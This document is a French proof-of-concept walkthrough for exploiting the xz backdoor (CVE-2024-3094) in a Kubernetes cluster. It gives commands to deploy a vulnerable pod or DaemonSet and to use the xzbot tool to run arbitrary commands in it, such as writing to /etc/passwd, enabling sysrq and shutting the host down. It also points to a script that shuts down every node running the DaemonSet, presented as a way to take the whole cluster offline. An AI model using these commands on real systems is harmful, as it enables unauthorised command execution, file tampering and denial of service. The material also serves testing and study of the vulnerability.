
POC de base pour tester la vulnérabilité CVE-2024-3094 dans un cluster K8s
POC de base pour tester la vulnérabilité CVE-2024-3094 dans un cluster K8s
Nous allons déployer un pod vulnérable et l'exploiter pour exécuter des commandes à l'intérieur de ce pod vulnérable, le tout sur le même réseau pour des raisons de sécurité. Nous n'exposons pas le pod vulnérable à Internet, mais le concept est le même.
Cette vulnérabilité permet d'exécuter des commandes à l'intérieur du pod, même si le pod s'exécute avec un contexte de sécurité. Vous pouvez par exemple arrêter l'hôte qui héberge le pod.
Si cette vulnérabilité s'exécute dans un seul pod, vous pouvez arrêter l'hôte, rendant temporairement indisponibles tous les services tournant sur cet hôte. Mais si la vulnérabilité s'exécute en tant que DaemonSet, vous pouvez arrêter tous les hôtes qui exécutent ce DaemonSet, voire arrêter tout le cluster.
Commencez par installer xzbots dans le cluster
go install github.com/amlweems/xzbot@latest
Téléchargez le dépôt et déployez le déploiement/DaemonSet vulnérable
git clone https://github.com/shefirot/CVE-2024-3094.git
cd CVE-2024-3094
# Déploiement
kubectl apply -f deploy_cve-2024-3094.yml
# Ou DaemonSet
kubectl apply -f daemonset_cve-2024-3094.yml
# Récupérez le nom du pod
kubectl -n vulnes get pods
# Effectuez un port forward du pod
kubectl -n vulnes port-forward <nom-du-pod> 2225:22
# Exécutez une commande, par exemple écrire dans /etc/passwd
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo "David estuvo aqui" >> /etc/passwd'
# Vérifiez le fichier /etc/passwd
kubectl -n vulnes exec <nom-du-pod> -- /usr/bin/cat /etc/passwd
Allez plus loin et arrêtez l'hôte
# Activez sysrq
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo 1 > /proc/sys/kernel/sysrq'
# Arrêtez l'hôte
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo o > /proc/sysrq-trigger'
Vous pouvez également arrêter tous les hôtes qui exécutent le DaemonSet
source shutdown_nodes.sh
Lorsque vous exécutez la boucle pour arrêter tous les hôtes, si vous recevez cette erreur :
2024/06/11 12:08:58 dial tcp 127.0.0.1:2225: connect: connection refused
Laissez plus de temps au port forward pour être prêt ; vous pouvez augmenter le temps de pause dans la boucle.
L'image conteneur utilisée a été générée avec le Dockerfile du dépôt. Vous pouvez générer l'image et la pousser vers votre registre.
Pour générer la bibliothèque liblzma.so.5.6.0.patch, vous pouvez utiliser le dépôt amlweems mentionné dans les références.